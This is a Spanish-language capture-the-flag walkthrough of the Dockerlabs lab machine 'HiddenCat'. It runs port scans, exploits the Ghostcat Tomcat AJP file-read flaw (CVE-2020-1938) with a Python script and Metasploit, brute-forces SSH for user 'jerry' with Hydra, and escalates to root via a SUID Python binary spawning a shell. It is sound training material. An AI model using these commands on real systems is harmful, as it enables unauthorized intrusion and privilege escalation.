HiddenCat es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Fácil
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-11 22:16 CEST Initiating ARP Ping Scan at 22:16 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 22:16, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 22:16 Scanning 172.17.0.2 [65535 ports] Discovered open port 22/tcp on 172.17.0.2 Discovered open port 8080/tcp on 172.17.0.2 Discovered open port 8009/tcp on 172.17.0.2 Completed SYN Stealth Scan at 22:16, 0.99s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000070s latency). Scanned at 2024-05-11 22:16:20 CEST for 1s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 8009/tcp open ajp13 syn-ack ttl 64 8080/tcp open http-proxy syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,8009,8080 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-11 22:16 CEST Nmap scan report for 172.17.0.2 Host is up (0.000031s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0) | ssh-hostkey: | 2048 4d:8d:56:7f:47:95:da:d9:a4:bb:bc:3e:f1:56:93:d5 (RSA) | 256 8d:82:e6:7d:fb:1c:08:89:06:11:5b:fd:a8:08:1e:72 (ECDSA) |_ 256 1e:eb:63:bd:b9:87:72:43:49:6c:76:e1:45:69:ca:75 (ED25519) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) | ajp-methods: |_ Supported methods: GET HEAD POST OPTIONS 8080/tcp open http Apache Tomcat 9.0.30 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.30 MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.52 seconds |
Entramos al puerto 8080 y vemos un tomcat
Tras intentar loguearnos, siempre nos da acceso denegado como podemos ver
Así que nos ponemos a buscar alguna vulnerabilidad, nos encontramos uno en github y otro en exploit-db y probamos ambos.
El primero va a necesitar una serie de modificaciones en el código para que se ejecute correctamente mientras que con metasploit va a ir directo.
- Python
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
┌──(kali㉿kali)-[~/Hacking-Vulnerability-CVE-2020-1938-Ghostcat] └─$ python3 CVE-2020-1938.py 172.17.0.2 -p 8009 -f WEB-INF/web.xml Getting resource at ajp13://172.17.0.2:8009/asdf ---------------------------- <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to Tomcat, Jerry ;) </description> </web-app> |
- Metasploit
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
msf6 > use ghostcat Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/http/tomcat_ghostcat [*] Using auxiliary/admin/http/tomcat_ghostcat msf6 auxiliary(admin/http/tomcat_ghostcat) > use 0 msf6 auxiliary(admin/http/tomcat_ghostcat) > show options Module options (auxiliary/admin/http/tomcat_ghostcat): Name Current Setting Required Description ---- --------------- -------- ----------- AJP_PORT 8009 no The Apache JServ Protocol (AJP) port FILENAME /WEB-INF/web.xml yes File name RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit /basics/using-metasploit.html RPORT 8080 yes The Apache Tomcat webserver port (TCP) SSL false yes SSL View the full module info with the info, or info -d command. msf6 auxiliary(admin/http/tomcat_ghostcat) > set rhosts 172.17.0.2 rhosts => 172.17.0.2 msf6 auxiliary(admin/http/tomcat_ghostcat) > run [*] Running module against 172.17.0.2 Status Code: 200 Accept-Ranges: bytes ETag: W/"1237-1715447779000" Last-Modified: Sat, 11 May 2024 17:16:19 GMT Content-Type: application/xml Content-Length: 1237 <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to Tomcat, Jerry ;) </description> </web-app> [+] 172.17.0.2:8080 - /home/kali/.msf4/loot/20240511223444_default_172.17.0.2_WEBINFweb.xml_330561.txt [*] Auxiliary module execution completed |
Con esta información, podemos ver que existe un usuario llamado jerry así que usaremos hydra para realizar un ataque de fuerza bruta por ssh ( aunque ya tenemos en mente algo referente al cacao )
|
1 2 3 4 5 6 7 8 9 10 11 12 |
┌──(kali㉿kali)-[~] └─$ hydra -l jerry -P techyou.txt 172.17.0.2 ssh -I -f -t 64 Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-11 22:37:00 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 64 tasks per 1 server, overall 64 tasks, 20000 login tries (l:1/p:20000), ~313 tries per task [DATA] attacking ssh://172.17.0.2:22/ [22][ssh] host: 172.17.0.2 login: jerry password: chocolate [STATUS] attack finished for 172.17.0.2 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-11 22:37:01 |
Entramos con el usuario al sistema
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
└─$ ssh jerry@172.17.0.2 The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established. ED25519 key fingerprint is SHA256:mo9w8++LQb3S+T1T+QwVQcMHaicr3bpJs/2/JWNNy5w. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts. jerry@172.17.0.2's password: Linux 532c12113752 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. jerry@532c12113752:~$ |
Tras no ver nada aparentemente, veremos que binarios tenemos con SUID.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
jerry@532c12113752:/opt$ find / -perm /4000 -type f 2> /dev/null /bin/ping /bin/su /bin/umount /bin/mount /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/newgrp /usr/bin/chfn /usr/bin/perl5.28.1 /usr/bin/gpasswd /usr/bin/passwd /usr/bin/perl /usr/bin/chsh /usr/bin/python3.7 /usr/bin/python3.7m |
Nuestro primero objetivo para probar será python3.7 asi que mirando gtfobins..
|
1 2 3 |
jerry@532c12113752:/opt$ /usr/bin/python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")' # id uid=1000(jerry) gid=1000(jerry) euid=0(root) grupos=1000(jerry) |
Nos convertirnos como root con el euid , así que hasta aquí la maquina HiddenCat
